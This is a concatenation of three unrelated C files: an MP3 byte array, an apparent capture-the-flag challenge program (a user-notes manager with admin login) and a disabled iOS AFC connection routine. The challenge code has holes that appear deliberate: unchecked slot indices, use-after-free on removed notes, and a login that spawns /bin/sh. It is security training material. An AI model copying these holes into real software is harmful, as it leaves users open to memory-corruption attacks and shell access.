const unsigned char local_audio_hello[864] = { 0xFF, 0xF3, 0x28, 0xC4, 0x00, 0x0A, 0xF8, 0x7A, 0x14, 0x15, 0x41, 0x10, 0x00, 0x05, 0x80, 0xC9, 0x8C, 0x6C, 0x80, 0x03, 0x02, 0x31, 0x8D, 0xD4, 0x00, 0x00, 0x16, 0x63, 0x00, 0x10, 0xC2, 0x70, 0x7E, 0x0F, 0xF0, 0x4D, 0xE2, 0x0C, 0x4E, 0x7F, 0x2E, 0xFF, 0xE8, 0xFA, 0x8E, 0x79, 0x77, 0xFF, 0xFF, 0xFF, 0xF0, 0xFF, 0xFF, 0xD5, 0x13, 0x9F, 0x26, 0xD8, 0x8E, 0x7B, 0x33, 0x04, 0x2F, 0x84, 0x09, 0xC5, 0xF1, 0x01, 0xA7, 0xF2, 0x13, 0x29, 0xFF, 0xF3, 0x28, 0xC4, 0x0F, 0x0F, 0xFA, 0x5A, 0xA0, 0x01, 0x82, 0x28, 0x00, 0x98, 0x9F, 0x23, 0x1D, 0x18, 0x55, 0xC4, 0x02, 0x42, 0x3F, 0xBE, 0x42, 0x30, 0x82, 0x0F, 0x65, 0x3F, 0xF9, 0x1A, 0x8D, 0x51, 0x37, 0x39, 0xC6, 0xB7, 0xFF, 0xB7, 0xCE, 0x54, 0xB3, 0xAB, 0x9F, 0xFF, 0xF7, 0xDF, 0xFB, 0x59, 0x07, 0x1F, 0x90, 0xFF, 0xFA, 0xE3, 0x4E, 0xB8, 0x50, 0x58, 0x06, 0x2D, 0xAA, 0xAA, 0xAA, 0xA8, 0xFE, 0x67, 0x87, 0x7F, 0x1B, 0x74, 0xFF, 0xF3, 0x28, 0xC4, 0x0A, 0x0E, 0x60, 0x8E, 0xE5, 0x91, 0xD8, 0x78, 0x02, 0xF1, 0xA0, 0x01, 0x15, 0x55, 0x9D, 0x3E, 0xB3, 0x54, 0x38, 0x63, 0x57, 0x08, 0x0C, 0xBD, 0xEA, 0x32, 0xA6, 0x90, 0x1D, 0x04, 0xDC, 0x1D, 0xE6, 0x83, 0x9C, 0x0C, 0xE5, 0x3B, 0xC1, 0x77, 0xA8, 0x06, 0x20, 0x66, 0x50, 0xE1, 0xCE, 0x0F, 0xA3, 0xAC, 0x1C, 0x1A, 0x16, 0x30, 0xC0, 0xB0, 0xD5, 0x2C, 0x3F, 0xFE, 0x92, 0x49, 0x80, 0x8E, 0x2F, 0x3B, 0x7E, 0x3C, 0xFF, 0xF3, 0x28, 0xC4, 0x0B, 0x0E, 0xA9, 0x56, 0xD4, 0xC8, 0x6B, 0xC4, 0x94, 0x04, 0xE1, 0xC2, 0xCC, 0xDB, 0x35, 0xB3, 0xE1, 0xBF, 0x4F, 0x96, 0x31, 0xFA, 0xFB, 0x78, 0xC5, 0x9E, 0x37, 0xB3, 0xA2, 0x18, 0x75, 0xBF, 0xFE, 0x08, 0xC0, 0x60, 0x8E, 0xDF, 0x3A, 0x29, 0xBE, 0xDD, 0x14, 0xAB, 0x94, 0x18, 0xE1, 0xC2, 0x0B, 0x01, 0x09, 0xA5, 0x74, 0xA2, 0x85, 0x34, 0xDA, 0x23, 0x7F, 0x98, 0x17, 0x46, 0xA0, 0x4E, 0x8A, 0x48, 0xCC, 0xB6, 0xFF, 0xF3, 0x28, 0xC4, 0x0B, 0x0F, 0x48, 0xC6, 0xD4, 0xA8, 0x6B, 0x18, 0x70, 0xBD, 0x79, 0x3C, 0xFC, 0xF7, 0x3D, 0x85, 0x86, 0x04, 0x83, 0x10, 0xA4, 0x42, 0x1F, 0x8F, 0xDB, 0x5E, 0x76, 0x4F, 0x2E, 0x04, 0xC4, 0x90, 0x6A, 0x72, 0xCD, 0xE6, 0x9B, 0x5C, 0x6A, 0x00, 0xE8, 0x7D, 0x81, 0x79, 0x02, 0x68, 0x61, 0xB5, 0x47, 0x8C, 0x06, 0x87, 0xB0, 0xF0, 0xD7, 0x92, 0x5D, 0x5D, 0x74, 0xD5, 0x37, 0xE8, 0x0B, 0xFF, 0xC0, 0x3F, 0xFE, 0xAC, 0xFF, 0xF3, 0x28, 0xC4, 0x08, 0x0F, 0x21, 0x56, 0xED, 0x94, 0x48, 0xC6, 0x94, 0xE0, 0x54, 0x95, 0xB9, 0xD2, 0x61, 0xB3, 0x20, 0x42, 0x9E, 0x00, 0x50, 0x86, 0xA4, 0x10, 0x20, 0x47, 0x18, 0x10, 0x21, 0xC5, 0x0C, 0xE3, 0xD5, 0x2B, 0xAB, 0x3B, 0x1C, 0x38, 0x6B, 0xCE, 0x9D, 0xFA, 0x57, 0xCF, 0xE7, 0xDB, 0xC7, 0x25, 0x21, 0x64, 0xA2, 0x07, 0x82, 0x47, 0x9C, 0x41, 0xA4, 0xD7, 0xFF, 0xFE, 0x2A, 0x95, 0x24, 0x0A, 0x8A, 0xBF, 0xF6, 0xD0, 0xFF, 0xF3, 0x28, 0xC4, 0x06, 0x0C, 0x61, 0x62, 0xD4, 0xF1, 0x49, 0x28, 0x00, 0x0A, 0x64, 0x92, 0x93, 0x2C, 0x89, 0x15, 0xDE, 0x34, 0x5B, 0x24, 0xFC, 0x23, 0x72, 0x93, 0x88, 0x0C, 0x74, 0x0F, 0x00, 0xC0, 0x61, 0xA4, 0x31, 0x44, 0x4A, 0xD2, 0x96, 0xAF, 0x4E, 0x9F, 0x2F, 0xFF, 0xFD, 0x5B, 0xE8, 0x6A, 0x88, 0xB0, 0x68, 0x44, 0x38, 0x76, 0x85, 0xA0, 0xBA, 0xC2, 0x66, 0xFC, 0x1F, 0x67, 0x2B, 0x0C, 0x1F, 0xC7, 0x50, 0xE8, 0x56, 0xAF, 0xFF, 0xF3, 0x28, 0xC4, 0x0F, 0x0F, 0xF9, 0xF6, 0x90, 0x01, 0x8F, 0x68, 0x00, 0x7E, 0x39, 0xC2, 0x42, 0x3C, 0x07, 0x69, 0x2A, 0x8F, 0x29, 0x17, 0x0C, 0xCD, 0x57, 0x4B, 0xF7, 0x5D, 0x0F, 0xFF, 0xFF, 0xFF, 0xD4, 0xA6, 0x9A, 0x7E, 0xAF, 0xE7, 0x48, 0x6C, 0x92, 0x66, 0x29, 0x29, 0x13, 0x67, 0xFF, 0xFF, 0x44, 0xC0, 0xC0, 0xC4, 0xDC, 0x91, 0x27, 0xD8, 0x3F, 0xFF, 0xD6, 0x2E, 0xA9, 0x56, 0x53, 0xC0, 0x38, 0x04, 0x15, 0xA0, 0xA0, 0x14, 0xFF, 0xF3, 0x28, 0xC4, 0x0A, 0x09, 0xC8, 0x71, 0x81, 0x85, 0xC6, 0x08, 0x00, 0x4E, 0x01, 0x61, 0xC9, 0x69, 0xA4, 0x65, 0x89, 0x65, 0x57, 0x94, 0x71, 0x89, 0x21, 0x12, 0xCE, 0xAB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x95, 0x47, 0x81, 0xA5, 0x86, 0x8B, 0x55, 0x4C, 0x41, 0x4D, 0x45, 0x33, 0x2E, 0x39, 0x39, 0x2E, 0x35, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0xFF, 0xF3, 0x28, 0xC4, 0x1D, 0x00, 0x00, 0x03, 0x48, 0x00, 0x00, 0x00, 0x00, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0xFF, 0xF3, 0x28, 0xC4, 0x58, 0x00, 0x00, 0x03, 0x48, 0x00, 0x00, 0x00, 0x00, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0xFF, 0xF3, 0x28, 0xC4, 0x93, 0x00, 0x00, 0x03, 0x48, 0x00, 0x00, 0x00, 0x00, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, };
the_stack_data/82375.c
/* * Authors: * + Andrea Fioraldi <[email protected]> * + Pietro Borrello <[email protected]> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #define BANNER "\n \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \n \xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d \n \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \n \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d \n \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \n \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d \n \n \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \n \xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d \xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\n \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d\n \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\n \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d\xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d\n \n \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \n \xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d \n \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \n \xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d \xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d \xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d \n \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \n \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d v6.6.6 \n " struct user_t { char* name; char* note; }; typedef struct user_t user_t; user_t slots[10]; char admin_password[120]; void rand_password(char* pass) { static char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; int i; for (i = 0; i < 119; ++i) { int key = rand() % (int)(sizeof(charset) -1); pass[i] = charset[key]; } pass[119] = 0; } void add_user(int idx) { slots[idx].name = malloc(120); printf("Enter the name for user #%d: ", idx); fgets(slots[idx].name, 120, stdin); printf("Enter a note about the user #%d: ", idx); slots[idx].note = malloc(120); fgets(slots[idx].note, 120, stdin); printf("User #%d created.\n", idx); } void remove_user(int idx) { free(slots[idx].name); free(slots[idx].note); printf("User #%d removed\n", idx); } void print_user(int idx) { if(idx < 0 || idx >= 10) return; printf("User #%d name is %s\n", idx, slots[idx].name); printf("User #%d note is %s\n", idx, slots[idx].note); } void change_user_note(int idx) { printf("Enter the new note for user #%d: ", idx); fgets(slots[idx].note, 120, stdin); printf("User #%d updated.\n", idx); } void login() { char pass[120]; printf("Enter the password for admin: "); fgets(pass, 120, stdin); if(strcmp(pass, admin_password)) { printf("Wrong password!\n"); } else { printf("You are logged in.\n"); system("/bin/sh"); } } void menu() { printf("\n Syntax: [command]\n\n"); printf(" Avaiable commands:\n"); printf(" 0. Add an user\n"); printf(" 1. Remove an user\n"); printf(" 2. Print an user\n"); printf(" 3. Change and user's note\n"); printf(" 4. Login\n"); printf(" 5. Exit\n\n >> "); } int main() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); int cmd; int idx; char tmp[50]; srand(time(0)); rand_password(admin_password); printf(BANNER); while(1) { menu(); fgets(tmp, 50, stdin); sscanf(tmp, "%d", &cmd); switch(cmd) { case 0: printf(" Enter the target index:\n >> "); fgets(tmp, 50, stdin); sscanf(tmp, "%d", &idx); add_user(idx); break; case 1: printf(" Enter the target index:\n >> "); fgets(tmp, 50, stdin); sscanf(tmp, "%d", &idx); remove_user(idx); break; case 2: printf(" Enter the target index:\n >> "); fgets(tmp, 50, stdin); sscanf(tmp, "%d", &idx); print_user(idx); break; case 3: printf(" Enter the target index:\n >> "); fgets(tmp, 50, stdin); sscanf(tmp, "%d", &idx); change_user_note(idx); break; case 4: login(); break; case 5: return 0; } } }
the_stack_data/1114053.c
/* * SDMMD_AFCDevice.c * SDMMobileDevice * * Copyright (c) 2014, Sam Marshall * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the * following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the distribution. * * 3. Neither the name of Sam Marshall nor the names of its contributors may be used to endorse or promote products derived from this * software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #ifndef _SDM_MD_AFCDEVICE_C_ #define _SDM_MD_AFCDEVICE_C_ #if 0 #include "SDMMD_AFCDevice.h" #include "CFRuntime.h" #include <sys/types.h> #include <sys/event.h> #include <sys/time.h> static CFTypeID _kSDMMD_AFCConnectionRefID = _kCFRuntimeNotATypeID; static CFRuntimeClass _kSDMMD_AFCConnectionRefClass = {0}; SDMMD_AFCConnectionRef SDMMD_AFCConnectionCreate(void*a, uint32_t sock,void*c,void*d,void*e) { uint32_t extra = sizeof(AFCConnectionClassBody); SDMMD_AFCConnectionRef connection = calloc(0x1, sizeof(SDMMD_AFCConnectionClass)); connection = (SDMMD_AFCConnectionRef)_CFRuntimeCreateInstance(kCFAllocatorDefault, _kSDMMD_AFCConnectionRefID, extra, NULL); if (connection) { connection->ivars.state = 0x1; connection->ivars.cond0 = SDMMD_AFCConditionCreate(); connection->ivars.cond_signal = SDMMD_AFCConditionCreate(); connection->ivars.handle = sock; connection->ivars.connection_active = (c ? true : false); connection->ivars.statusPtr = 0x0; connection->ivars.e = false; connection->ivars.operation_count = 0x0; connection->ivars.fs_block_size = 0x100000; connection->ivars.socket_block_size = 0x100000; connection->ivars.io_timeout = 0x3c; connection->ivars.h = 1; connection->ivars.context = e; connection->ivars.lock0 = SDMMD_AFCLockCreate(); connection->ivars.lock1 = SDMMD_AFCLockCreate(); connection->ivars.operation_enqueue = CFArrayCreateMutable(kCFAllocatorDefault, 0x0, &kCFTypeArrayCallBacks); connection->ivars.operation_dequeue = CFArrayCreateMutable(kCFAllocatorDefault, 0x0, &kCFTypeArrayCallBacks); connection->ivars.secure_context = d; connection->ivars.queue = kqueue(); } return connection; } void SDMMD_AFCConnectionRefClassInitialize(void) { _kSDMMD_AFCConnectionRefClass.version = 0; _kSDMMD_AFCConnectionRefClass.className = "SDMMD_AFCConnectionRef"; _kSDMMD_AFCConnectionRefClass.init = SDMMD_AFCConnectionCreate; _kSDMMD_AFCConnectionRefClass.copy = NULL; _kSDMMD_AFCConnectionRefClass.finalize = NULL; _kSDMMD_AFCConnectionRefClass.equal = NULL; _kSDMMD_AFCConnectionRefClass.hash = NULL; _kSDMMD_AFCConnectionRefClass.copyFormattingDesc = NULL; _kSDMMD_AFCConnectionRefClass.copyDebugDesc = NULL; _kSDMMD_AFCConnectionRefClass.reclaim = NULL; _kSDMMD_AFCConnectionRefID = _CFRuntimeRegisterClass((const CFRuntimeClass * const)&_kSDMMD_AFCConnectionRefClass); } CFTypeID SDMMD_AFCConnectionGetTypeID(void) { return _kSDMMD_AFCConnectionRefID; } #endif #endif
the_stack_data/107952084.c
